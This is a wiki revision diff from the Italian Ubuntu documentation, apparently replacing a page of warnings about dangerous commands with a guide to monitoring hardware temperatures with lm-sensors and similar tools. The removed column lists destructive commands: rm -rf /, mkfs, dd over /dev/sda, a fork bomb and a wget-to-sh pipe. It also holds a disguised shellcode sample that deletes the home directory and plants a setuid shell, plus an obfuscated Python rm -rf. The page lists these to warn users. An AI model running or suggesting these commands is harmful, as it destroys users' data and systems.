Dimensione: 7659
Commento:
|
Dimensione: 16819
Commento:
|
Le cancellazioni sono segnalate in questo modo. | Le aggiunte sono segnalate in questo modo. |
Linea 1: | Linea 1: |
## page was renamed from ComandiDannosi | ## page was renamed from LmSensors |
Linea 5: | Linea 5: |
<<Indice(width=2)>> <<Informazioni(forum=http://forum.ubuntu-it.org/viewtopic.php?f=46&t=619925&p)>> |
<<Include(NuoviStrumentiWiki/PaginaDiProva)>> <<Indice>> <<Informazioni(forum="http://forum.ubuntu-it.org/viewtopic.php?f=46&t=528977"; rilasci="22.04 20.04 18.04 16.04 14.04 12.04")>> |
Linea 10: | Linea 11: |
A scopo puramente didattico e illustrativo, questa guida raccoglie una lista non esaustiva di comandi potenzialmente pericolosi. Si raccomanda particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. <<BR>>Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]] (si consiglia comunque di scollegare eventuali periferiche di memoria condivise dai sistemi ''guest'' e ''host''). ||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">In caso di dubbi consultare le guide elencate nel paragrafo [[#risorse|Ulteriori Risorse]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]]. || ||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Suggerire immotivatamente l'esecuzione di comandi pericolosi ad altri utenti nei [[http://www.ubuntu-it.org/supporto|canali di supporto]] comporta sanzioni da parte dei moderatori e degli amministratori, finanche il ban e l'esclusione permanente dell'account.''' || = Comandi da terminale = <<Anchor(rm)>> == Rimozione: rm == * I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente: {{{ rm -rf / rm -rf . rm -rf * }}} * Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «`.`», ovvero un punto) il comando {{{ rm -r .* }}} potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore. * Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente: {{{ rm -r .[^.]* }}} <<Anchor(mkfs)>> == Formattazione: mkfs == Il comando '''mkfs''' viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo [[https://it.wikipedia.org/wiki/File_system|filesystem]]. Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem `ext4`, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo `/dev/sda1`). {{{ mkfs mkfs.ext4 mkfs.ext4 /dev/sda1 }}} <<Anchor(dd)>> == Copia di blocchi di dati: dd == Utilizzando il comando '''dd''' con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]] e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'[[https://it.wikipedia.org/wiki/Master_boot_record|MBR]]). Ad esempio, dove i parametri `if` e `of` rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione: * `dd if=/dev/zero of=/dev/sda`: riempie il dispositivo con una sequenza di zeri; * `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati); * `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati casuali. <<Anchor(fork)>> == Utilizzo sconsiderato di fork() == L'utilizzo del comando di sistema '''fork''' permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre. Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono: {{{ :(){:|&};: }}} oppure (utilizzando il linguaggio di programmazione [[https://it.wikipedia.org/wiki/Perl|perl]]):{{{ fork while fork }}} <<Anchor(script)>> == Esecuzione script == L'esecuzione di [[Programmazione/Script|script]] all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere pericolosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate. Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico [[Programmazione/LinguaggioBash|script in bash]] «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{ wget http://sito_internet/prova.sh sh ./prova.sh }}} {{{ wget http://sito_internet/prova.sh -O- | sh }}} <<Anchor(sorgente)>> = Compilazione codice sorgente = È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti ritenute attendibili (ad esempio piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente, quali [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]] ecc.). Un esempio di codice pericoloso è il seguente: {{{ char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; }}} Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], l'esempio precedente sembra in apparenza un codice affatto pericoloso, per quanto poco comprensibile. In realtà esegue il comando {{{ rm -rf ~ / & }}} che distrugge la cartella '''Home''' dell'utente che ha esegue il codice compilato. = Archivi = Alcuni [[AmministrazioneSistema/FormatiDiCompressione|archivi]] possono provocare spiacevoli inconvenienti e causare danni al sistema, come illustrato nel [[AmministrazioneSistema/FormatiDiCompressione#tar|paragrafo dedicato ai file `.tar`]]. = Altri esempi = L'esecuzione del seguente comando in [[Programmazione/Python|Python]] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk: {{{ python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' }}} Infatti la sintassi `"sn!.sg!+"` sta ad indicare `rm -rf *`, comando a cui è dedicato il relativo [[#rm|paragrafo]]. <<Anchor(risorse)>> |
Questa guida contiene una raccolta, non esaustiva, di strumenti per monitorare le temperature dei dispositivi hardware presenti proprio computer, nonché altri valori (tensioni, velocità delle ventole ecc.). Le seguenti informazioni sono valide per Ubuntu e derivate, oltre che per le principali distribuzioni GNU/Linux. {{{#!wiki note Le informazioni e i sensori disponibili dipendono dal tipo di hardware in uso.}}} = Informazioni generali = Solitamente i sistemi GNU/Linux permettono di controllare e gestire ampiamente le risorse hardware, ragion per cui sono già presenti "''out of the box''" strumenti per visualizzare le temperature. Nel dettaglio, la directory '''[[AmministrazioneSistema/Filesystem#A.2Fsys|/sys]]''' contiene moltissimi dati relativi al kernel, ai moduli e all'hardware. In particolare `/sys/class/thermal` è deputata alle informazioni riguardanti le temperature. Perciò è possibile consultare file quali: * `/sys/class/thermal/thermal_zone0/temp` contenente la temperatura della CPU, espressa in gradi Celsius tramite numeri interi divisibili per 100 (es: 36000 = 36°C) * `/sys/class/thermal/thermal_zone0/type` contenente il valore corrispondente alla zona in cui la temperatura è rilevata (un esempio tipico è il sensore termico '''acpitz''', situato accanto il socket della CPU) Per semplificare e rendere facilmente consultabili queste informazioni, è possibile creare un semplice [[Programmazione/Script|script]] che contenga il seguente comando:{{{ paste <(cat /sys/class/thermal/thermal_zone*/type) <(cat /sys/class/thermal/thermal_zone*/temp) | column -s $'\t' -t | sed 's/\(.\)..$/.\1°C/' }}} L'output sarà simile al seguente:{{{ acpitz 38.0°C acpitz . °C acpitz 30.0°C acpitz 32.0°C acpitz 31.0°C acpitz . °C pch_skylake 36.5°C iwlwifi_1 33.0°C x86_pkg_temp 38.0°C }}} = Riga di comando = == acpi == '''acpi''' è uno strumento per visualizzare lo stato della batteria e altre informazioni [[https://it.wikipedia.org/wiki/Advanced_Configuration_and_Power_Interface|ACPI]], in grado anche di mostrare le temperature del PC. 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://acpi|acpi]]. 0. Per eseguire il programma digitare nel [[AmministrazioneSistema/Terminale|terminale]] il comando:{{{ acpi -t }}} Il risultato sarà simile al seguente:{{{ Thermal 0: ok, 30.8 degrees C Thermal 1: ok, 29.8 degrees C }}} == lm-sensors == '''lm-sensors''' è uno strumento più completo, in grado di mostrare temperatura della/e CPU, della MOBO, della GPU, la velocità di rotazione delle ventole e le tensioni di alimentazione dei componenti principali. {{{#!wiki important Negli anni ci sono state sporadiche segnalazioni di problemi causati da lm-sensors, fra cui presunti danni hardware a vecchie schede madri AM2RD790 e malfunzionamenti (reversibili) con display e/o schede video.<<BR>> Tuttavia, nella stragrande maggioranza dei casi, occorre fare attenzione solamente alla parte relativa a I2C/SMBus, come indicato dal programma stesso. <<BR>> Per maggiori informazioni consultare la sezione TROUBLESHOOTING del file `README` disponibile sulla [[https://github.com/lm-sensors/lm-sensors/blob/master/README|pagina GitHub]] del progetto. }}} === Installazione === 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://lm-sensors|lm-sensors]]. 0. Facoltativo: [[AmministrazioneSistema/InstallareProgrammi|installare]] in aggiunta il pacchetto [[apt://fancontrol|fancontrol]], per gestire le ventole secondo le istruzioni indicate in [[#ventole|questo paragrafo]]. 0. Digitare nel [[AmministrazioneSistema/Terminale|terminale]] il comando:{{{ sudo sensors-detect }}} 0. Seguendo le istruzioni a video, rispondere '''Yes''' alle domande che verranno proposte, ad esclusione della domanda riguardante '''I2C/SMBus''' alla quale si dovrà rispondere '''No'''. {{{#!wiki note In caso di errore, è possibile ripetere la procedura e rispondere '''Yes''' alla domanda precedente. }}} 0. Al termine della procedura, lo script restituirà un output simile al seguente:{{{ Driver `coretemp': * Chip `Intel digital thermal sensor' (confidence: 9) To load everything that is needed, add this to /etc/modules: #----cut here---- # Chip drivers coretemp #----cut here---- If you have some drivers built into your kernel, the list above will contain too many modules. Skip the appropriate ones! Do you want to add these lines automatically to /etc/modules? (yes/NO) }}} Rispondere '''Yes''' anche a quest'ultima domanda, in modo che i moduli necessari vengano caricati al prossimo avvio del computer. 0. Riavviare il PC. Prima dell'ultimo passaggio, è possibile eseguire la procedura con alcune variazioni, fra cui: * '''Modulo drivetemp''': per aggiungere questo modulo al fine di visualizzare le temperature di HDD e SSD (utile per Ubuntu 22.04, in cui non è disponibile '''[[#hddtemp|hddtemp]]'''), digitare il comando:{{{ sudo modprobe -v drivetemp }}} * '''Procedura senza riavvio''': qualora non fosse possibile riavviare il sistema, caricare tutti i moduli necessari (come suggerito anche da '''lm-sensors''') con il comando:{{{ /etc/init.d/kmod start }}} oppure caricare singolarmente i moduli con il comando: {{{ sudo modprobe nome_modulo }}} sostituendo `nome_modulo` con uno dei moduli visualizzati dopo il punto 5 della procedura. Ripetere il comando precedente per ognuno dei moduli indicati. === Utilizzo === Avviare il programma digitando il seguente comando: {{{ sensors}}} Il risultato sarà simile al seguente: {{{ k8temp-pci-00c3 Adapter: PCI adapter Core0 Temp: +23°C Core1 Temp: +19°C it8716-isa-0290 Adapter: ISA adapter VCore: +1.18 V (min = +0.00 V, max = +4.08 V) VDDR: +3.25 V (min = +0.00 V, max = +4.08 V) +3.3V: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM +5V: +4.81 V (min = +0.00 V, max = +6.85 V) +12V: +11.58 V (min = +0.00 V, max = +16.32 V) in5: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM in6: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM 5VSB: +4.84 V (min = +0.00 V, max = +6.85 V) VBat: +2.94 V fan1: 0 RPM (min = 0 RPM) fan2: 0 RPM (min = 0 RPM) fan3: 0 RPM (min = 0 RPM) temp1: +30°C (low = -1°C, high = +127°C) sensor = diode temp2: +30°C (low = -1°C, high = +127°C) sensor = thermistor temp3: -7°C (low = -1°C, high = +127°C) sensor = thermistor vid: +1.300 V acpitz-virtual-0 Adapter: Virtual device temp1: +49.0°C (crit = +95.0°C) coretemp-isa-0000 Adapter: ISA adapter Core 0: +59.0°C (crit = +100.0°C) coretemp-isa-0001 Adapter: ISA adapter Core 1: +57.0°C (crit = +100.0°C) }}} <<Anchor(hddtemp)>> == hddtemp == È uno strumento per visualizzare le temperature di dischi rigidi e drive a stato solido SATA. {{{#!wiki note Poiché non mantenuto più da tempo, è stato rimosso dai repository di Ubuntu. Per maggiori informazioni consultare [[https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1002484|questa pagina]]. }}} 0. Solo su Ubuntu 22.04 e successivi, digitare nel [[AmministrazioneSistema/Terminale|terminale]] il seguente comando:{{{ sudo add-apt-repository ppa:malcscott/ppa }}} 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://hddtemp|hddtemp]]. Per utilizzare il programma digitare il comando: {{{ sudo hddtemp /dev/sd? }}} L'output sarà simile al seguente: {{{ /dev/sda: WDC WD1600BEVT-22ZCT0: 42°C /dev/sdb: MAXTOR STM3320820AS: S.M.A.R.T. not available }}} == nvme-cli == '''nvme-cli''' è uno strumento per gestire drive di tipo [[https://en.wikipedia.org/wiki/NVM_Express|NVMe]] su sistemi GNU/Linux. 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://nvme-cli|nvme-cli]]. 0. Per identificare i drive presenti, digitare nel [[AmministrazioneSistema/Terminale|terminale]] il comando:{{{ sudo nvme list }}} L'output mostrerà le informazioni relative al dispositivo (modello, numero seriale, spazio utilizzato ecc.). Prendere nota del valore nella colonna `Node`. 0. Digitare il comando:{{{ sudo nvme smart-log /dev/nvme0n1 | grep temperature }}} sostituendo `/dev/nvme0n1` se differente. L'output sarà simile al seguente:{{{ temperature : 34 C (308 Kelvin) }}} == HardInfo == Per l'installazione consultare il relativo [[#hardinfo|paragrafo]]. Per l'utilizzo del programma via terminale, digitare il comando:{{{ hardinfo -rma devices.so | grep -A 10 Sensors }}} {{{#!wiki note A seconda delle periferiche presenti nel computer e/o della loro tipologia, potrebbe essere necessario utilizzare l'opzione di '''grep''' con un valore superiore a 10 (ad esempio 40, 50 ecc.). }}} = Interfaccia grafica = {{{#!wiki tip Diversi programmi con GUI per identificare le periferiche offrono anche la possibilità di visualizzarne le temperature. Consultare [[Hardware/Periferiche/IdentificarePeriferiche#Strumenti_con_interfaccia_grafica|questa guida]]. }}} == Psensor == '''Psensor''' permette di monitorare, oltre alle temperature, altre informazioni quali la velocità delle ventole, carico di CPU/GPU ecc. 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://psensor|psensor]]. 0. [[AmbienteGrafico/AvviareProgrammi|Avviare]] '''Psensor'''. 0. Nella colonna '''Grafico''' spuntare i sensori che si desidera monitorare. 0. Per altre configurazioni selezionare il menu '''''Psensor → Preferenze'''''. == xensors == È un semplice programma in grado di visualizzare, in funzione di quali sensori sono presenti e attivati, valori quali temperatura o tensioni di CPU, scheda madre, schede di rete ecc. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://xsensor|xsensor]].<<BR>> Dopo l'installazione sarà possibile [[AmbienteGrafico/AvviareProgrammi|avviare]] il programma. <<Anchor(hardinfo)>> == HardInfo == '''!HardInfo''' è in grado di visualizzare numerose informazioni sull'hardware e sul sistema operativo, di elencare dispositivi connessi, di eseguire benchmarks ecc. 0. [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://psensor|psensor]]. 0. [[AmbienteGrafico/AvviareProgrammi|Avviare]] '''System profiler and benchmark'''. 0. Per il monitoraggio delle temperature, nella scheda a sinistra selezionare '''Sensors''' all'interno della sezione '''Devices'''. == Gnome Disks Utility == L'applicazione '''Dischi''' è in grado di visualizzare le temperature dei drive presenti all'interno del PC, se supportati. Per maggiori informazioni consultare la [[Hardware/DispositiviPartizioni/GnomeDiskUtility|guida dedicata]]. == Plugin, indicatori, widget ecc. == Molti [[AmbienteGrafico|ambienti desktop]] offrono vari strumenti per monitorare le temperature. Di seguito ne vengono citati alcuni. * '''GNOME''': sono disponibili diverse [[AmbienteGrafico/Gnome/Estensioni|estensioni]] ('''Freon''', '''Sensory Perception''', '''system-monitor''', '''Vitals''' ecc.). Cercare sul sito [[https://extensions.gnome.org|GNOME Extensions]] una compatibile con la versione di GNOME shell in uso. * '''KDE''': sono disponibili diverse applet per monitorare le temperature. Cercare su [[https://store.kde.org|questo sito]] una compatibile con la versione di Plasma in uso. * '''Xfce''': è possibile [[AmministrazioneSistema/InstallareProgrammi|installare]] il pacchetto [[apt://xfce4-sensors-plugin|xfce4-sensors-plugin]]. Fare riferimento alla [[http://goodies.xfce.org/projects/panel-plugins/xfce4-sensors-plugin|pagina ufficiale]] del progetto per maggiori informazioni. * '''MATE''': è possibile [[AmministrazioneSistema/InstallareProgrammi|installare]] il pacchetto [[apt://mate-sensors-applet |mate-sensors-applet ]]. Fare riferimento alla [[hhttps://github.com/mate-desktop/mate-sensors-applet|pagina GitHub]] del progetto per maggiori informazioni. * '''Cinnamon''': sono disponibili diverse applet ed estensioni per monitorare le temperature. Cercare su [[https://cinnamon-spices.linuxmint.com/|questo sito]]. == Conky == '''Conky''' è in grado di monitorare i sensori presenti sul proprio computer. Per maggiori informazioni consultare la [[AmbienteGrafico/Conky|guida dedicata]]. <<Anchor(ventole)>> = Controllo delle ventole (20.04) = Come prerequisito, occorre installare ''fancontrol'', come descritto in [[#Installazione|questo paragrafo]]. Per controllare le ventole e la scheda madre, digitare nel [[AmministrazioneSistema/Terminale|terminale]] il seguente comando: {{{ sudo pwmconfig }}} Le ventole verranno monitorate e sarà possibile modificarne la velocità. Nel caso in cui sia possibile il controllo totale, cioè fermare del tutto le ventole, è possibile creare un semplice script da lanciare all'avvio per un'ottimizzazione delle stesse. {{{#!wiki important L'arresto completo delle ventole può arrecare gravi danni all'hardware oppure, indirettamente, perdita di dati. Procedere con molta cautela. }}} 0. Creare con un [[Ufficio/EditorDiTesto|editor di testo]] e con i [[AmministrazioneSistema/PrivilegiDiAmministrazione|privilegi di amministrazione]] il file `/etc/init.d/fancontrol` e aggiungere le seguenti righe: {{{ #!/bin/sh #!/bin/sh # # Fancontrol start script. # set -e # Defaults DAEMON=/usr/sbin/fancontrol PIDFILE=/var/run/fancontrol-pid PATH=/sbin:/bin:/usr/sbin:/usr/bin test -f $DAEMON || exit 0 . /lib/lsb/init-functions case "$1" in start) log_begin_msg "Starting fancontrol daemon..." start-stop-daemon --start -o -q -m -b -p $PIDFILE -x $DAEMON log_end_msg $? ;; stop) log_begin_msg "Stopping fancontrol daemon..." start-stop-daemon --stop -o -q -p $PIDFILE log_end_msg $? ;; force-reload|restart) sh $0 stop sh $0 start ;; *) log_success_msg "Usage: /etc/init.d/fancontrol {start|stop|restart|force-reload}" log_success_msg " start - starts system-wide fancontrol service" log_success_msg " stop - stops system-wide fancontrol service" log_success_msg " restart, force-reload - starts a new system-wide fancontrol service" exit 1 ;; esac exit 0 }}} 0. Rendere eseguibile lo script, digitando in un [[AmministrazioneSistema/Terminale|terminale]] il seguente comando:{{{ sudo chmod +x /etc/init.d/fancontrol }}} 0. Avviare lo script con il comando: {{{ /etc/init.d/fancontrol start }}} Per interromperlo digitare il comando: {{{ /etc/init.d/fancontrol stop }}} 0. Se l'output non restituisce alcun errore, aprire il file `/etc/rc.local` con un [[Ufficio/EditorDiTesto|editor di testo]] e i [[AmministrazioneSistema/PrivilegiDiAmministrazione|privilegi di amministrazione]], quindi aggiungere la seguente riga: {{{ /etc/init.d/fancontrol start }}} in modo da ottenere un codice simile al seguente:{{{ #!/bin/sh #!/bin/sh -e # # rc.local # # This script is executed at the end of each multiuser runlevel. # Make sure that the script will "exit 0" on success or any other # value on error. # # In order to enable or disable this script just change the execution # bits. # # By default this script does nothing. /etc/init.d/fancontrol start exit 0 }}} |
Linea 120: | Linea 346: |
* [[AmministrazioneSistema/Terminale|Terminale]] * [[AmministrazioneSistema/ComandiBase|Comandi di base]] * [[AmministrazioneSistema/Filesystem|Filesystem]] * [[AmministrazioneSistema/PulireUbuntu|Pulizia del sistema]] * [[http://www.chimerarevo.com/linux/comandi-terminale-non-eseguire-linux-180510/|Articolo su comandi pericolosi da terminale]] |
## * [[http://www.lm-sensors.org|Sito ufficiale del progetto]] * [[https://github.com/lm-sensors/lm-sensors|GitHub lm-sensors]] * [[https://launchpad.net/lmsensors|Lm-sensors su Launchpad]] * [[http://doc.ubuntu-fr.org/lm-sensors|Lm-sensors su doc.ubuntu-fr.org]] * [[http://wiki.ubuntuusers.de/Lm_sensors|Lm-sensors su wiki.ubuntuusers.de]] * [[https://help.ubuntu.com/community/SensorInstallHowto|Lm-sensors sul wiki internazionale]] * [[Hardware/Periferiche/IdentificarePeriferiche|Identificare le periferiche]] |
Linea 127: | Linea 356: |
CategoryAmministrazione | ##CategoryHardware CategoryAmministrazion CategoryHomepage |
Attenzione! Questa è una Pagina di prova. Le informazioni riportate potrebbero essere incomplete, errate e potenzialmente pericolose. Per contribuire alla realizzazione di questa pagina consultare la discussione di riferimento. |
Guida verificata con Ubuntu: 20.04 22.04
Problemi in questa pagina? Segnalali in questa discussione
Introduzione
Questa guida contiene una raccolta, non esaustiva, di strumenti per monitorare le temperature dei dispositivi hardware presenti proprio computer, nonché altri valori (tensioni, velocità delle ventole ecc.).
Le seguenti informazioni sono valide per Ubuntu e derivate, oltre che per le principali distribuzioni GNU/Linux.
Le informazioni e i sensori disponibili dipendono dal tipo di hardware in uso.
Informazioni generali
Solitamente i sistemi GNU/Linux permettono di controllare e gestire ampiamente le risorse hardware, ragion per cui sono già presenti "out of the box" strumenti per visualizzare le temperature.
Nel dettaglio, la directory /sys contiene moltissimi dati relativi al kernel, ai moduli e all'hardware. In particolare /sys/class/thermal è deputata alle informazioni riguardanti le temperature. Perciò è possibile consultare file quali:
/sys/class/thermal/thermal_zone0/temp contenente la temperatura della CPU, espressa in gradi Celsius tramite numeri interi divisibili per 100 (es: 36000 = 36°C)
/sys/class/thermal/thermal_zone0/type contenente il valore corrispondente alla zona in cui la temperatura è rilevata (un esempio tipico è il sensore termico acpitz, situato accanto il socket della CPU)
Per semplificare e rendere facilmente consultabili queste informazioni, è possibile creare un semplice script che contenga il seguente comando:
paste <(cat /sys/class/thermal/thermal_zone*/type) <(cat /sys/class/thermal/thermal_zone*/temp) | column -s $'\t' -t | sed 's/\(.\)..$/.\1°C/'
L'output sarà simile al seguente:
acpitz 38.0°C acpitz . °C acpitz 30.0°C acpitz 32.0°C acpitz 31.0°C acpitz . °C pch_skylake 36.5°C iwlwifi_1 33.0°C x86_pkg_temp 38.0°C
Riga di comando
acpi
acpi è uno strumento per visualizzare lo stato della batteria e altre informazioni ACPI, in grado anche di mostrare le temperature del PC.
Installare il pacchetto acpi.
Per eseguire il programma digitare nel terminale il comando:
acpi -t
Il risultato sarà simile al seguente:
Thermal 0: ok, 30.8 degrees C Thermal 1: ok, 29.8 degrees C
lm-sensors
lm-sensors è uno strumento più completo, in grado di mostrare temperatura della/e CPU, della MOBO, della GPU, la velocità di rotazione delle ventole e le tensioni di alimentazione dei componenti principali.
Negli anni ci sono state sporadiche segnalazioni di problemi causati da lm-sensors, fra cui presunti danni hardware a vecchie schede madri AM2RD790 e malfunzionamenti (reversibili) con display e/o schede video.
Tuttavia, nella stragrande maggioranza dei casi, occorre fare attenzione solamente alla parte relativa a I2C/SMBus, come indicato dal programma stesso.
Per maggiori informazioni consultare la sezione TROUBLESHOOTING del file README disponibile sulla pagina GitHub del progetto.
Installazione
Installare il pacchetto lm-sensors.
Facoltativo: installare in aggiunta il pacchetto fancontrol, per gestire le ventole secondo le istruzioni indicate in questo paragrafo.
Digitare nel terminale il comando:
sudo sensors-detect
Seguendo le istruzioni a video, rispondere Yes alle domande che verranno proposte, ad esclusione della domanda riguardante I2C/SMBus alla quale si dovrà rispondere No.
In caso di errore, è possibile ripetere la procedura e rispondere Yes alla domanda precedente.
Al termine della procedura, lo script restituirà un output simile al seguente:
Driver `coretemp': * Chip `Intel digital thermal sensor' (confidence: 9) To load everything that is needed, add this to /etc/modules: #----cut here---- # Chip drivers coretemp #----cut here---- If you have some drivers built into your kernel, the list above will contain too many modules. Skip the appropriate ones! Do you want to add these lines automatically to /etc/modules? (yes/NO)
Rispondere Yes anche a quest'ultima domanda, in modo che i moduli necessari vengano caricati al prossimo avvio del computer.
- Riavviare il PC.
Prima dell'ultimo passaggio, è possibile eseguire la procedura con alcune variazioni, fra cui:
Modulo drivetemp: per aggiungere questo modulo al fine di visualizzare le temperature di HDD e SSD (utile per Ubuntu 22.04, in cui non è disponibile hddtemp), digitare il comando:
sudo modprobe -v drivetemp
Procedura senza riavvio: qualora non fosse possibile riavviare il sistema, caricare tutti i moduli necessari (come suggerito anche da lm-sensors) con il comando:
/etc/init.d/kmod start
oppure caricare singolarmente i moduli con il comando:
sudo modprobe nome_modulo
sostituendo nome_modulo con uno dei moduli visualizzati dopo il punto 5 della procedura. Ripetere il comando precedente per ognuno dei moduli indicati.
Utilizzo
Avviare il programma digitando il seguente comando:
sensors
Il risultato sarà simile al seguente:
k8temp-pci-00c3 Adapter: PCI adapter Core0 Temp: +23°C Core1 Temp: +19°C it8716-isa-0290 Adapter: ISA adapter VCore: +1.18 V (min = +0.00 V, max = +4.08 V) VDDR: +3.25 V (min = +0.00 V, max = +4.08 V) +3.3V: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM +5V: +4.81 V (min = +0.00 V, max = +6.85 V) +12V: +11.58 V (min = +0.00 V, max = +16.32 V) in5: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM in6: +0.00 V (min = +0.00 V, max = +4.08 V) ALARM 5VSB: +4.84 V (min = +0.00 V, max = +6.85 V) VBat: +2.94 V fan1: 0 RPM (min = 0 RPM) fan2: 0 RPM (min = 0 RPM) fan3: 0 RPM (min = 0 RPM) temp1: +30°C (low = -1°C, high = +127°C) sensor = diode temp2: +30°C (low = -1°C, high = +127°C) sensor = thermistor temp3: -7°C (low = -1°C, high = +127°C) sensor = thermistor vid: +1.300 V acpitz-virtual-0 Adapter: Virtual device temp1: +49.0°C (crit = +95.0°C) coretemp-isa-0000 Adapter: ISA adapter Core 0: +59.0°C (crit = +100.0°C) coretemp-isa-0001 Adapter: ISA adapter Core 1: +57.0°C (crit = +100.0°C)
hddtemp
È uno strumento per visualizzare le temperature di dischi rigidi e drive a stato solido SATA.
Poiché non mantenuto più da tempo, è stato rimosso dai repository di Ubuntu. Per maggiori informazioni consultare questa pagina.
Solo su Ubuntu 22.04 e successivi, digitare nel terminale il seguente comando:
sudo add-apt-repository ppa:malcscott/ppa
Installare il pacchetto hddtemp.
Per utilizzare il programma digitare il comando:
sudo hddtemp /dev/sd?
L'output sarà simile al seguente:
/dev/sda: WDC WD1600BEVT-22ZCT0: 42°C /dev/sdb: MAXTOR STM3320820AS: S.M.A.R.T. not available
nvme-cli
nvme-cli è uno strumento per gestire drive di tipo NVMe su sistemi GNU/Linux.
Installare il pacchetto nvme-cli.
Per identificare i drive presenti, digitare nel terminale il comando:
sudo nvme list
L'output mostrerà le informazioni relative al dispositivo (modello, numero seriale, spazio utilizzato ecc.). Prendere nota del valore nella colonna Node.
Digitare il comando:
sudo nvme smart-log /dev/nvme0n1 | grep temperature
sostituendo /dev/nvme0n1 se differente. L'output sarà simile al seguente:
temperature : 34 C (308 Kelvin)
HardInfo
Per l'installazione consultare il relativo paragrafo.
Per l'utilizzo del programma via terminale, digitare il comando:
hardinfo -rma devices.so | grep -A 10 Sensors
A seconda delle periferiche presenti nel computer e/o della loro tipologia, potrebbe essere necessario utilizzare l'opzione di grep con un valore superiore a 10 (ad esempio 40, 50 ecc.).
Interfaccia grafica
Diversi programmi con GUI per identificare le periferiche offrono anche la possibilità di visualizzarne le temperature. Consultare questa guida.
Psensor
Psensor permette di monitorare, oltre alle temperature, altre informazioni quali la velocità delle ventole, carico di CPU/GPU ecc.
Installare il pacchetto psensor.
Avviare Psensor.
Nella colonna Grafico spuntare i sensori che si desidera monitorare.
Per altre configurazioni selezionare il menu Psensor → Preferenze.
xensors
È un semplice programma in grado di visualizzare, in funzione di quali sensori sono presenti e attivati, valori quali temperatura o tensioni di CPU, scheda madre, schede di rete ecc.
Installare il pacchetto xsensor.
Dopo l'installazione sarà possibile avviare il programma.
HardInfo
HardInfo è in grado di visualizzare numerose informazioni sull'hardware e sul sistema operativo, di elencare dispositivi connessi, di eseguire benchmarks ecc.
Installare il pacchetto psensor.
Avviare System profiler and benchmark.
Per il monitoraggio delle temperature, nella scheda a sinistra selezionare Sensors all'interno della sezione Devices.
Gnome Disks Utility
L'applicazione Dischi è in grado di visualizzare le temperature dei drive presenti all'interno del PC, se supportati. Per maggiori informazioni consultare la guida dedicata.
Plugin, indicatori, widget ecc.
Molti ambienti desktop offrono vari strumenti per monitorare le temperature. Di seguito ne vengono citati alcuni.
